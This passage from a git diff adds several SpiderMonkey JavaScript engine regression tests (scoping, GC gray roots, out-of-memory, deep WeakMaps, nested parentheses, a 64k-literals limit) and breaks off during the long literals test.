+ * undefined
+ *
+ * and throw no uncaught exception."
+ *
+ */
+function f(obj)
+{
+ var res = [];
+
+ try
+ {
+ throw 42;
+ }
+ catch(e)
+ {
+ with(obj)
+ {
+ var e;
+ res[0] = e; // |with| binds tighter than |catch|; s/b |obj.e|
+ }
+
+ res[1] = e; // |catch| binds tighter than function scope; s/b 42
+ }
+
+ res[2] = e; // |var e| has function scope; s/b visible but contain |undefined|
+ return res;
+}
+
+status = inSection(2);
+actual = f({e:24});
+expect = [24, 42, undefined];
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-1466387-worker-grayroot.js b/js/src/tests/non262/regress/regress-1466387-worker-grayroot.js
new file mode 100644
index 0000000000..32b74b0792
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1466387-worker-grayroot.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1466387;
+var summary = 'grayRoot() testing on worker thread';
+
+// Before bug 1466387, the gray root tracer was not set up on worker threads,
+// but the grayRoot() function was still available. This resulted in a GC
+// collecting the gray root, then a read barrier firing on the dead object.
+//
+// This is a crashtest. If it does not crash, it will throw a ReferenceError,
+// but that's ok.
+
+print('BUGNUMBER: ' + BUGNUMBER);
+print("STATUS: " + summary);
+
+if (typeof 'evalInWorder' == 'function') {
+ evalInWorker(`
+ var wm = new WeakMap();
+ grayRoot().map = wm;
+ gczeal(4,10);
+ evaluate(\`
+ grayRoot().map = __v_1173;
+ if (!class i { constructor() { } } ()) {
+ (function __f_252( get , ) {})();
+ }
+ \`);
+`);
+}
+
+this.reportCompare && reportCompare(true, true, summary);
diff --git a/js/src/tests/non262/regress/regress-1476383-calloc-exc.js b/js/src/tests/non262/regress/regress-1476383-calloc-exc.js
new file mode 100644
index 0000000000..3a6a0eb663
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1476383-calloc-exc.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("oomTest"))
+
+let lfPreamble = `
+`;
+oomTest(new Function(`var TOTAL_MEMORY = 50 * 1024 * 1024;
+HEAP = IHEAP = new Int32Array(TOTAL_MEMORY);
+function __Z9makeFastaI10RandomizedEvPKcS2_jRT_(\$id, \$desc, \$N, \$output)
+{
+}
+`));
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-1507322-deep-weakmap.js b/js/src/tests/non262/regress/regress-1507322-deep-weakmap.js
new file mode 100644
index 0000000000..049dc2a8db
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1507322-deep-weakmap.js
@@ -0,0 +1,11 @@
+function TestGC2(m) {
+ var head = new Object;
+ for (key = head, i = 0; i < 99999; i++, key = m.get(key)) {
+ m.set(key, new Object);
+ }
+ gc();
+ for (key = head; key != undefined; key = m.get(key)) {}
+}
+TestGC2(new WeakMap);
+
+reportCompare(true, true, "deep weakmaps");
diff --git a/js/src/tests/non262/regress/regress-152646.js b/js/src/tests/non262/regress/regress-152646.js
new file mode 100644
index 0000000000..8387f3e11f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-152646.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 July 2002
+ * SUMMARY: Testing expressions with large numbers of parentheses
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=152646
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 152646;
+var summary = 'Testing expressions with large numbers of parentheses';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Just seeing that we don't crash when compiling this assignment -
+ *
+ * We will form an eval string to set the result-variable |actual|.
+ * To get a feel for this, suppose N were 3. Then the eval string is
+ * 'actual = (((0)));' The expected value for this after eval() is 0.
+ */
+status = inSection(1);
+
+var sLeft = '((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((';
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+sLeft += sLeft;
+
+var sRight = '))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))';
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+sRight += sRight;
+
+var sEval = 'actual = ' + sLeft + '0' + sRight;
+try
+{
+ eval(sEval);
+}
+catch(e)
+{
+ /*
+ * An exception during this eval is OK, as the runtime can throw one
+ * in response to too deep recursion. We haven't crashed; good!
+ */
+ actual = 0;
+}
+expect = 0;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-155081-2.js b/js/src/tests/non262/regress/regress-155081-2.js
new file mode 100644
index 0000000000..b51eee272b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-155081-2.js
@@ -0,0 +1,17520 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 155081;
+var summary = 'Limit of 64k literals';
+var actual = 'No Crash';
+var expect = 'No Crash, No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(A,B,C,D) {}
+
+f('1','2','3','4');
+f('5','6','7','8');
+f('9','10','11','12');
+f('13','14','15','16');
+f('17','18','19','20');
+f('21','22','23','24');
+f('25','26','27','28');
+f('29','30','31','32');
+f('33','34','35','36');
+f('37','38','39','40');
+f('41','42','43','44');
+f('45','46','47','48');
+f('49','50','51','52');
+f('53','54','55','56');
+f('57','58','59','60');
+f('61','62','63','64');
+f('65','66','67','68');
+f('69','70','71','72');
+f('73','74','75','76');
+f('77','78','79','80');
+f('81','82','83','84');
+f('85','86','87','88');
+f('89','90','91','92');
+f('93','94','95','96');
+f('97','98','99','100');
+f('101','102','103','104');
+f('105','106','107','108');
+f('109','110','111','112');
+f('113','114','115','116');
+f('117','118','119','120');
+f('121','122','123','124');
+f('125','126','127','128');
+f('129','130','131','132');
+f('133','134','135','136');
+f('137','138','139','140');
+f('141','142','143','144');
+f('145','146','147','148');
+f('149','150','151','152');
+f('153','154','155','156');
+f('157','158','159','160');
+f('161','162','163','164');
+f('165','166','167','168');
+f('169','170','171','172');
+f('173','174','175','176');
+f('177','178','179','180');
+f('181','182','183','184');
+f('185','186','187','188');
+f('189','190','191','192');
+f('193','194','195','196');
+f('197','198','199','200');
+f('201','202','203','204');
+f('205','206','207','208');
+f('209','210','211','212');
+f('213','214','215','216');
+f('217','218','219','220');
+f('221','222','223','224');
+f('225','226','227','228');
+f('229','230','231','232');
+f('233','234','235','236');
+f('237','238','239','240');
+f('241','242','243','244');
+f('245','246','247','248');
+f('249','250','251','252');
+f('253','254','255','256');
+f('257','258','259','260');
+f('261','262','263','264');
+f('265','266','267','268');
+f('269','270','271','272');
+f('273','274','275','276');
+f('277','278','279','280');
+f('281','282','283','284');
+f('285','286','287','288');
+f('289','290','291','292');
+f('293','294','295','296');
+f('297','298','299','300');
+f('301','302','303','304');
+f('305','306','307','308');
+f('309','310','311','312');
+f('313','314','315','316');
+f('317','318','319','320');
+f('321','322','323','324');
+f('325','326','327','328');
+f('329','330','331','332');
+f('333','334','335','336');
+f('337','338','339','340');
+f('341','342','343','344');
+f('345','346','347','348');
+f('349','350','351','352');
+f('353','354','355','356');
+f('357','358','359','360');
+f('361','362','363','364');
+f('365','366','367','368');
+f('369','370','371','372');
+f('373','374','375','376');
+f('377','378','379','380');
+f('381','382','383','384');
+f('385','386','387','388');
+f('389','390','391','392');
+f('393','394','395','396');
+f('397','398','399','400');
+f('401','402','403','404');
+f('405','406','407','408');
+f('409','410','411','412');
+f('413','414','415','416');
+f('417','418','419','420');
+f('421','422','423','424');
+f('425','426','427','428');
+f('429','430','431','432');
+f('433','434','435','436');
+f('437','438','439','440');
+f('441','442','443','444');
+f('445','446','447','448');
+f('449','450','451','452');
+f('453','454','455','456');
+f('457','458','459','460');
+f('461','462','463','464');
+f('465','466','467','468');
+f('469','470','471','472');
+f('473','474','475','476');
+f('477','478','479','480');
+f('481','482','483','484');
+f('485','486','487','488');
+f('489','490','491','492');
+f('493','494','495','496');
+f('497','498','499','500');
+f('501','502','503','504');
+f('505','506','507','508');
+f('509','510','511','512');
+f('513','514','515','516');
+f('517','518','519','520');
+f('521','522','523','524');
+f('525','526','527','528');
+f('529','530','531','532');
+f('533','534','535','536');
+f('537','538','539','540');
+f('541','542','543','544');
+f('545','546','547','548');
+f('549','550','551','552');
+f('553','554','555','556');
+f('557','558','559','560');
+f('561','562','563','564');
+f('565','566','567','568');
+f('569','570','571','572');
+f('573','574','575','576');
+f('577','578','579','580');
+f('581','582','583','584');
+f('585','586','587','588');
+f('589','590','591','592');
+f('593','594','595','596');
+f('597','598','599','600');
+f('601','602','603','604');
+f('605','606','607','608');
+f('609','610','611','612');
+f('613','614','615','616');
+f('617','618','619','620');
+f('621','622','623','624');
+f('625','626','627','628');
+f('629','630','631','632');
+f('633','634','635','636');
+f('637','638','639','640');
+f('641','642','643','644');
+f('645','646','647','648');
+f('649','650','651','652');
+f('653','654','655','656');
+f('657','658','659','660');
+f('661','662','663','664');
+f('665','666','667','668');
+f('669','670','671','672');
+f('673','674','675','676');
+f('677','678','679','680');
+f('681','682','683','684');
+f('685','686','687','688');
+f('689','690','691','692');
+f('693','694','695','696');
+f('697','698','699','700');
+f('701','702','703','704');
+f('705','706','707','708');
+f('709','710','711','712');
+f('713','714','715','716');
+f('717','718','719','720');
+f('721','722','723','724');
+f('725','726','727','728');
+f('729','730','731','732');
+f('733','734','735','736');
+f('737','738','739','740');
+f('741','742','743','744');
+f('745','746','747','748');
+f('749','750','751','752');
+f('753','754','755','756');
+f('757','758','759','760');
+f('761','762','763','764');
+f('765','766','767','768');
+f('769','770','771','772');
+f('773','774','775','776');
+f('777','778','779','780');
+f('781','782','783','784');
+f('785','786','787','788');
+f('789','790','791','792');
+f('793','794','795','796');
+f('797','798','799','800');
+f('801','802','803','804');
+f('805','806','807','808');
+f('809','810','811','812');
+f('813','814','815','816');
+f('817','818','819','820');
+f('821','822','823','824');
+f('825','826','827','828');
+f('829','830','831','832');
+f('833','834','835','836');
+f('837','838','839','840');
+f('841','842','843','844');
+f('845','846','847','848');
+f('849','850','851','852');
+f('853','854','855','856');
+f('857','858','859','860');
+f('861','862','863','864');
+f('865','866','867','868');
+f('869','870','871','872');
+f('873','874','875','876');
+f('877','878','879','880');
+f('881','882','883','884');
+f('885','886','887','888');
+f('889','890','891','892');
+f('893','894','895','896');
+f('897','898','899','900');
+f('901','902','903','904');
+f('905','906','907','908');
+f('909','910','911','912');
+f('913','914','915','916');
+f('917','918','919','920');
+f('921','922','923','924');
+f('925','926','927','928');
+f('929','930','931','932');
+f('933','934','935','936');
+f('937','938','939','940');
+f('941','942','943','944');
+f('945','946','947','948');
+f('949','950','951','952');
+f('953','954','955','956');
+f('957','958','959','960');
+f('961','962','963','964');
+f('965','966','967','968');
+f('969','970','971','972');
+f('973','974','975','976');
+f('977','978','979','980');
+f('981','982','983','984');
+f('985','986','987','988');
+f('989','990','991','992');
+f('993','994','995','996');
+f('997','998','999','1000');
+f('1001','1002','1003','1004');
+f('1005','1006','1007','1008');
+f('1009','1010','1011','1012');
+f('1013','1014','1015','1016');
+f('1017','1018','1019','1020');
+f('1021','1022','1023','1024');
+f('1025','1026','1027','1028');
+f('1029','1030','1031','1032');
+f('1033','1034','1035','1036');
+f('1037','1038','1039','1040');
+f('1041','1042','1043','1044');
+f('1045','1046','1047','1048');
+f('1049','1050','1051','1052');
+f('1053','1054','1055','1056');
+f('1057','1058','1059','1060');
+f('1061','1062','1063','1064');
+f('1065','1066','1067','1068');
+f('1069','1070','1071','1072');
+f('1073','1074','1075','1076');
+f('1077','1078','1079','1080');
+f('1081','1082','1083','1084');
+f('1085','1086','1087','1088');
+f('1089','1090','1091','1092');
+f('1093','1094','1095','1096');
+f('1097','1098','1099','1100');
+f('1101','1102','1103','1104');
+f('1105','1106','1107','1108');
+f('1109','1110','1111','1112');
+f('1113','1114','1115','1116');
+f('1117','1118','1119','1120');
+f('1121','1122','1123','1124');
+f('1125','1126','1127','1128');
+f('1129','1130','1131','1132');
+f('1133','1134','1135','1136');
+f('1137','1138','1139','1140');
+f('1141','1142','1143','1144');
+f('1145','1146','1147','1148');
+f('1149','1150','1151','1152');
+f('1153','1154','1155','1156');
+f('1157','1158','1159','1160');
+f('1161','1162','1163','1164');
+f('1165','1166','1167','1168');
+f('1169','1170','1171','1172');
+f('1173','1174','1175','1176');
+f('1177','1178','1179','1180');
+f('1181','1182','1183','1184');
+f('1185','1186','1187','1188');
+f('1189','1190','1191','1192');
+f('1193','1194','1195','1196');
+f('1197','1198','1199','1200');
+f('1201','1202','1203','1204');
+f('1205','1206','1207','1208');
+f('1209','1210','1211','1212');
+f('1213','1214','1215','1216');
+f('1217','1218','1219','1220');
+f('1221','1222','1223','1224');
+f('1225','1226','1227','1228');
+f('1229','1230','1231','1232');
+f('1233','1234','1235','1236');
+f('1237','1238','1239','1240');
+f('1241','1242','1243','1244');
+f('1245','1246','1247','1248');
+f('1249','1250','1251','1252');
+f('1253','1254','1255','1256');
+f('1257','1258','1259','1260');
+f('1261','1262','1263','1264');
+f('1265','1266','1267','1268');
+f('1269','1270','1271','1272');
+f('1273','1274','1275','1276');
+f('1277','1278','1279','1280');
+f('1281','1282','1283','1284');
+f('1285','1286','1287','1288');
+f('1289','1290','1291','1292');
+f('1293','1294','1295','1296');
+f('1297','1298','1299','1300');
+f('1301','1302','1303','1304');
+f('1305','1306','1307','1308');
+f('1309','1310','1311','1312');
+f('1313','1314','1315','1316');
+f('1317','1318','1319','1320');
+f('1321','1322','1323','1324');
+f('1325','1326','1327','1328');
+f('1329','1330','1331','1332');
+f('1333','1334','1335','1336');
+f('1337','1338','1339','1340');
+f('1341','1342','1343','1344');
+f('1345','1346','1347','1348');
+f('1349','1350','1351','1352');
+f('1353','1354','1355','1356');
+f('1357','1358','1359','1360');
+f('1361','1362','1363','1364');
+f('1365','1366','1367','1368');
+f('1369','1370','1371','1372');
+f('1373','1374','1375','1376');
+f('1377','1378','1379','1380');
+f('1381','1382','1383','1384');
+f('1385','1386','1387','1388');
+f('1389','1390','1391','1392');
+f('1393','1394','1395','1396');
+f('1397','1398','1399','1400');
+f('1401','1402','1403','1404');
+f('1405','1406','1407','1408');
+f('1409','1410','1411','1412');
+f('1413','1414','1415','1416');
+f('1417','1418','1419','1420');
+f('1421','1422','1423','1424');
+f('1425','1426','1427','1428');
+f('1429','1430','1431','1432');
+f('1433','1434','1435','1436');
+f('1437','1438','1439','1440');
+f('1441','1442','1443','1444');
+f('1445','1446','1447','1448');
+f('1449','1450','1451','1452');
+f('1453','1454','1455','1456');
+f('1457','1458','1459','1460');
+f('1461','1462','1463','1464');
+f('1465','1466','1467','1468');
+f('1469','1470','1471','1472');
+f('1473','1474','1475','1476');
+f('1477','1478','1479','1480');
+f('1481','1482','1483','1484');
+f('1485','1486','1487','1488');
+f('1489','1490','1491','1492');
+f('1493','1494','1495','1496');
+f('1497','1498','1499','1500');
+f('1501','1502','1503','1504');
+f('1505','1506','1507','1508');
+f('1509','1510','1511','1512');
+f('1513','1514','1515','1516');
+f('1517','1518','1519','1520');
+f('1521','1522','1523','1524');
+f('1525','1526','1527','1528');
+f('1529','1530','1531','1532');
+f('1533','1534','1535','1536');
+f('1537','1538','1539','1540');
+f('1541','1542','1543','1544');
+f('1545','1546','1547','1548');
+f('1549','1550','1551','1552');
+f('1553','1554','1555','1556');
+f('1557','1558','1559','1560');
+f('1561','1562','1563','1564');
+f('1565','1566','1567','1568');
+f('1569','1570','1571','1572');
+f('1573','1574','1575','1576');
+f('1577','1578','1579','1580');
+f('1581','1582','1583','1584');
+f('1585','1586','1587','1588');
+f('1589','1590','1591','1592');
+f('1593','1594','1595','1596');
+f('1597','1598','1599','1600');
+f('1601','1602','1603','1604');
+f('1605','1606','1607','1608');
+f('1609','1610','1611','1612');
+f('1613','1614','1615','1616');
+f('1617','1618','1619','1620');
+f('1621','1622','1623','1624');
+f('1625','1626','1627','1628');
+f('1629','1630','1631','1632');
+f('1633','1634','1635','1636');
+f('1637','1638','1639','1640');
+f('1641','1642','1643','1644');
+f('1645','1646','1647','1648');
+f('1649','1650','1651','1652');
+f('1653','1654','1655','1656');
+f('1657','1658','1659','1660');
+f('1661','1662','1663','1664');
+f('1665','1666','1667','1668');
+f('1669','1670','1671','1672');
+f('1673','1674','1675','1676');
+f('1677','1678','1679','1680');
+f('1681','1682','1683','1684');
+f('1685','1686','1687','1688');
+f('1689','1690','1691','1692');
+f('1693','1694','1695','1696');
+f('1697','1698','1699','1700');
+f('1701','1702','1703','1704');
+f('1705','1706','1707','1708');
+f('1709','1710','1711','1712');
+f('1713','1714','1715','1716');
+f('1717','1718','1719','1720');
+f('1721','1722','1723','1724');
+f('1725','1726','1727','1728');
+f('1729','1730','1731','1732');
+f('1733','1734','1735','1736');
+f('1737','1738','1739','1740');
+f('1741','1742','1743','1744');
+f('1745','1746','1747','1748');
+f('1749','1750','1751','1752');
+f('1753','1754','1755','1756');
+f('1757','1758','1759','1760');
+f('1761','1762','1763','1764');
+f('1765','1766','1767','1768');
+f('1769','1770','1771','1772');
+f('1773','1774','1775','1776');
+f('1777','1778','1779','1780');
+f('1781','1782','1783','1784');
+f('1785','1786','1787','1788');
+f('1789','1790','1791','1792');
+f('1793','1794','1795','1796');
+f('1797','1798','1799','1800');
+f('1801','1802','1803','1804');
+f('1805','1806','1807','1808');
+f('1809','1810','1811','1812');
+f('1813','1814','1815','1816');
+f('1817','1818','1819','1820');
+f('1821','1822','1823','1824');
+f('1825','1826','1827','1828');
+f('1829','1830','1831','1832');
+f('1833','1834','1835','1836');
+f('1837','1838','1839','1840');
+f('1841','1842','1843','1844');
+f('1845','1846','1847','1848');
+f('1849','1850','1851','1852');
+f('1853','1854','1855','1856');
+f('1857','1858','1859','1860');
+f('1861','1862','1863','1864');
+f('1865','1866','1867','1868');
+f('1869','1870','1871','1872');
+f('1873','1874','1875','1876');
+f('1877','1878','1879','1880');
+f('1881','1882','1883','1884');
+f('1885','1886','1887','1888');
+f('1889','1890','1891','1892');
+f('1893','1894','1895','1896');
+f('1897','1898','1899','1900');
+f('1901','1902','1903','1904');
+f('1905','1906','1907','1908');
+f('1909','1910','1911','1912');
+f('1913','1914','1915','1916');
+f('1917','1918','1919','1920');
+f('1921','1922','1923','1924');
+f('1925','1926','1927','1928');
+f('1929','1930','1931','1932');
+f('1933','1934','1935','1936');
+f('1937','1938','1939','1940');
+f('1941','1942','1943','1944');
+f('1945','1946','1947','1948');
+f('1949','1950','1951','1952');
+f('1953','1954','1955','1956');
+f('1957','1958','1959','1960');
+f('1961','1962','1963','1964');
+f('1965','1966','1967','1968');
+f('1969','1970','1971','1972');
+f('1973','1974','1975','1976');
+f('1977','1978','1979','1980');
+f('1981','1982','1983','1984');
+f('1985','1986','1987','1988');
+f('1989','1990','1991','1992');
+f('1993','1994','1995','1996');
+f('1997','1998','1999','2000');
+f('2001','2002','2003','2004');
+f('2005','2006','2007','2008');
+f('2009','2010','2011','2012');
+f('2013','2014','2015','2016');
+f('2017','2018','2019','2020');
+f('2021','2022','2023','2024');
+f('2025','2026','2027','2028');
+f('2029','2030','2031','2032');
+f('2033','2034','2035','2036');
+f('2037','2038','2039','2040');
+f('2041','2042','2043','2044');
+f('2045','2046','2047','2048');
+f('2049','2050','2051','2052');
+f('2053','2054','2055','2056');
+f('2057','2058','2059','2060');
+f('2061','2062','2063','2064');
+f('2065','2066','2067','2068');
+f('2069','2070','2071','2072');
+f('2073','2074','2075','2076');
+f('2077','2078','2079','2080');
+f('2081','2082','2083','2084');
+f('2085','2086','2087','2088');
+f('2089','2090','2091','2092');
+f('2093','2094','2095','2096');
+f('2097','2098','2099','2100');
+f('2101','2102','2103','2104');
+f('2105','2106','2107','2108');
+f('2109','2110','2111','2112');
+f('2113','2114','2115','2116');
+f('2117','2118','2119','2120');
+f('2121','2122','2123','2124');
+f('2125','2126','2127','2128');
+f('2129','2130','2131','2132');
+f('2133','2134','2135','2136');
+f('2137','2138','2139','2140');
+f('2141','2142','2143','2144');
+f('2145','2146','2147','2148');
+f('2149','2150','2151','2152');
+f('2153','2154','2155','2156');
+f('2157','2158','2159','2160');
+f('2161','2162','2163','2164');
+f('2165','2166','2167','2168');
+f('2169','2170','2171','2172');
+f('2173','2174','2175','2176');
+f('2177','2178','2179','2180');
+f('2181','2182','2183','2184');
+f('2185','2186','2187','2188');
+f('2189','2190','2191','2192');
+f('2193','2194','2195','2196');
+f('2197','2198','2199','2200');
+f('2201','2202','2203','2204');
+f('2205','2206','2207','2208');
+f('2209','2210','2211','2212');
+f('2213','2214','2215','2216');
+f('2217','2218','2219','2220');
+f('2221','2222','2223','2224');
+f('2225','2226','2227','2228');
+f('2229','2230','2231','2232');
+f('2233','2234','2235','2236');
+f('2237','2238','2239','2240');
+f('2241','2242','2243','2244');
+f('2245','2246','2247','2248');
+f('2249','2250','2251','2252');
+f('2253','2254','2255','2256');
+f('2257','2258','2259','2260');
+f('2261','2262','2263','2264');
+f('2265','2266','2267','2268');
+f('2269','2270','2271','2272');
+f('2273','2274','2275','2276');
+f('2277','2278','2279','2280');
+f('2281','2282','2283','2284');
+f('2285','2286','2287','2288');
+f('2289','2290','2291','2292');
+f('2293','2294','2295','2296');
+f('2297','2298','2299','2300');
+f('2301','2302','2303','2304');
+f('2305','2306','2307','2308');
+f('2309','2310','2311','2312');
+f('2313','2314','2315','2316');
+f('2317','2318','2319','2320');
+f('2321','2322','2323','2324');
+f('2325','2326','2327','2328');
+f('2329','2330','2331','2332');
+f('2333','2334','2335','2336');
+f('2337','2338','2339','2340');
+f('2341','2342','2343','2344');
+f('2345','2346','2347','2348');
+f('2349','2350','2351','2352');
+f('2353','2354','2355','2356');
+f('2357','2358','2359','2360');
+f('2361','2362','2363','2364');
+f('2365','2366','2367','2368');
+f('2369','2370','2371','2372');
+f('2373','2374','2375','2376');
+f('2377','2378','2379','2380');
+f('2381','2382','2383','2384');
+f('2385','2386','2387','2388');
+f('2389','2390','2391','2392');
+f('2393','2394','2395','2396');
+f('2397','2398','2399','2400');
+f('2401','2402','2403','2404');
+f('2405','2406','2407','2408');
+f('2409','2410','2411','2412');
+f('2413','2414','2415','2416');
+f('2417','2418','2419','2420');
+f('2421','2422','2423','2424');
+f('2425','2426','2427','2428');
+f('2429','2430','2431','2432');
+f('2433','2434','2435','2436');
+f('2437','2438','2439','2440');
+f('2441','2442','2443','2444');
+f('2445','2446','2447','2448');
+f('2449','2450','2451','2452');
+f('2453','2454','2455','2456');
+f('2457','2458','2459','2460');
+f('2461','2462','2463','2464');
+f('2465','2466','2467','2468');
+f('2469','2470','2471','2472');
+f('2473','2474','2475','2476');
+f('2477','2478','2479','2480');
+f('2481','2482','2483','2484');
+f('2485','2486','2487','2488');
+f('2489','2490','2491','2492');
+f('2493','2494','2495','2496');
+f('2497','2498','2499','2500');
+f('2501','2502','2503','2504');
+f('2505','2506','2507','2508');
+f('2509','2510','2511','2512');
+f('2513','2514','2515','2516');
+f('2517','2518','2519','2520');
+f('2521','2522','2523','2524');
+f('2525','2526','2527','2528');
+f('2529','2530','2531','2532');
+f('2533','2534','2535','2536');
+f('2537','2538','2539','2540');
+f('2541','2542','2543','2544');
+f('2545','2546','2547','2548');
+f('2549','2550','2551','2552');
+f('2553','2554','2555','2556');
+f('2557','2558','2559','2560');
+f('2561','2562','2563','2564');
+f('2565','2566','2567','2568');
+f('2569','2570','2571','2572');
+f('2573','2574','2575','2576');
+f('2577','2578','2579','2580');
+f('2581','2582','2583','2584');
+f('2585','2586','2587','2588');
+f('2589','2590','2591','2592');
+f('2593','2594','2595','2596');
+f('2597','2598','2599','2600');
+f('2601','2602','2603','2604');
+f('2605','2606','2607','2608');
+f('2609','2610','2611','2612');
+f('2613','2614','2615','2616');
+f('2617','2618','2619','2620');
+f('2621','2622','2623','2624');
+f('2625','2626','2627','2628');
+f('2629','2630','2631','2632');
+f('2633','2634','2635','2636');
+f('2637','2638','2639','2640');
+f('2641','2642','2643','2644');
+f('2645','2646','2647','2648');
+f('2649','2650','2651','2652');
+f('2653','2654','2655','2656');
+f('2657','2658','2659','2660');
+f('2661','2662','2663','2664');
+f('2665','2666','2667','2668');
+f('2669','2670','2671','2672');
+f('2673','2674','2675','2676');
+f('2677','2678','2679','2680');
+f('2681','2682','2683','2684');
+f('2685','2686','2687','2688');
+f('2689','2690','2691','2692');
+f('2693','2694','2695','2696');
+f('2697','2698','2699','2700');
+f('2701','2702','2703','2704');
+f('2705','2706','2707','2708');
+f('2709','2710','2711','2712');
+f('2713','2714','2715','2716');
+f('2717','2718','2719','2720');
+f('2721','2722','2723','2724');
+f('2725','2726','2727','2728');
+f('2729','2730','2731','2732');
+f('2733','2734','2735','2736');
+f('2737','2738','2739','2740');
+f('2741','2742','2743','2744');
+f('2745','2746','2747','2748');
+f('2749','2750','2751','2752');
+f('2753','2754','2755','2756');
+f('2757','2758','2759','2760');
+f('2761','2762','2763','2764');
+f('2765','2766','2767','2768');
+f('2769','2770','2771','2772');
+f('2773','2774','2775','2776');
+f('2777','2778','2779','2780');
+f('2781','2782','2783','2784');
+f('2785','2786','2787','2788');
+f('2789','2790','2791','2792');
+f('2793','2794','2795','2796');
+f('2797','2798','2799','2800');
+f('2801','2802','2803','2804');
+f('2805','2806','2807','2808');
+f('2809','2810','2811','2812');
+f('2813','2814','2815','2816');
+f('2817','2818','2819','2820');
+f('2821','2822','2823','2824');
+f('2825','2826','2827','2828');
+f('2829','2830','2831','2832');
+f('2833','2834','2835','2836');
+f('2837','2838','2839','2840');
+f('2841','2842','2843','2844');
+f('2845','2846','2847','2848');
+f('2849','2850','2851','2852');
+f('2853','2854','2855','2856');
+f('2857','2858','2859','2860');
+f('2861','2862','2863','2864');
+f('2865','2866','2867','2868');
+f('2869','2870','2871','2872');
+f('2873','2874','2875','2876');
+f('2877','2878','2879','2880');
+f('2881','2882','2883','2884');
+f('2885','2886','2887','2888');
+f('2889','2890','2891','2892');
+f('2893','2894','2895','2896');
+f('2897','2898','2899','2900');
+f('2901','2902','2903','2904');
+f('2905','2906','2907','2908');
+f('2909','2910','2911','2912');
+f('2913','2914','2915','2916');
+f('2917','2918','2919','2920');
+f('2921','2922','2923','2924');
+f('2925','2926','2927','2928');
+f('2929','2930','2931','2932');
+f('2933','2934','2935','2936');
+f('2937','2938','2939','2940');
+f('2941','2942','2943','2944');
+f('2945','2946','2947','2948');
+f('2949','2950','2951','2952');
+f('2953','2954','2955','2956');
+f('2957','2958','2959','2960');
+f('2961','2962','2963','2964');
+f('2965','2966','2967','2968');
+f('2969','2970','2971','2972');
+f('2973','2974','2975','2976');
+f('2977','2978','2979','2980');
+f('2981','2982','2983','2984');
+f('2985','2986','2987','2988');
+f('2989','2990','2991','2992');
+f('2993','2994','2995','2996');
+f('2997','2998','2999','3000');
+f('3001','3002','3003','3004');
+f('3005','3006','3007','3008');
+f('3009','3010','3011','3012');
+f('3013','3014','3015','3016');
+f('3017','3018','3019','3020');
+f('3021','3022','3023','3024');
+f('3025','3026','3027','3028');
+f('3029','3030','3031','3032');
+f('3033','3034','3035','3036');
+f('3037','3038','3039','3040');
+f('3041','3042','3043','3044');
+f('3045','3046','3047','3048');
+f('3049','3050','3051','3052');
+f('3053','3054','3055','3056');
+f('3057','3058','3059','3060');
+f('3061','3062','3063','3064');
+f('3065','3066','3067','3068');
+f('3069','3070','3071','3072');
+f('3073','3074','3075','3076');
+f('3077','3078','3079','3080');
+f('3081','3082','3083','3084');
+f('3085','3086','3087','3088');
+f('3089','3090','3091','3092');
+f('3093','3094','3095','3096');
+f('3097','3098','3099','3100');
+f('3101','3102','3103','3104');
+f('3105','3106','3107','3108');
+f('3109','3110','3111','3112');
+f('3113','3114','3115','3116');
+f('3117','3118','3119','3120');
+f('3121','3122','3123','3124');
+f('3125','3126','3127','3128');
+f('3129','3130','3131','3132');
+f('3133','3134','3135','3136');
+f('3137','3138','3139','3140');
+f('3141','3142','3143','3144');
+f('3145','3146','3147','3148');
+f('3149','3150','3151','3152');
+f('3153','3154','3155','3156');
+f('3157','3158','3159','3160');
+f('3161','3162','3163','3164');
+f('3165','3166','3167','3168');
+f('3169','3170','3171','3172');
+f('3173','3174','3175','3176');
+f('3177','3178','3179','3180');
+f('3181','3182','3183','3184');
+f('3185','3186','3187','3188');
+f('3189','3190','3191','3192');
+f('3193','3194','3195','3196');
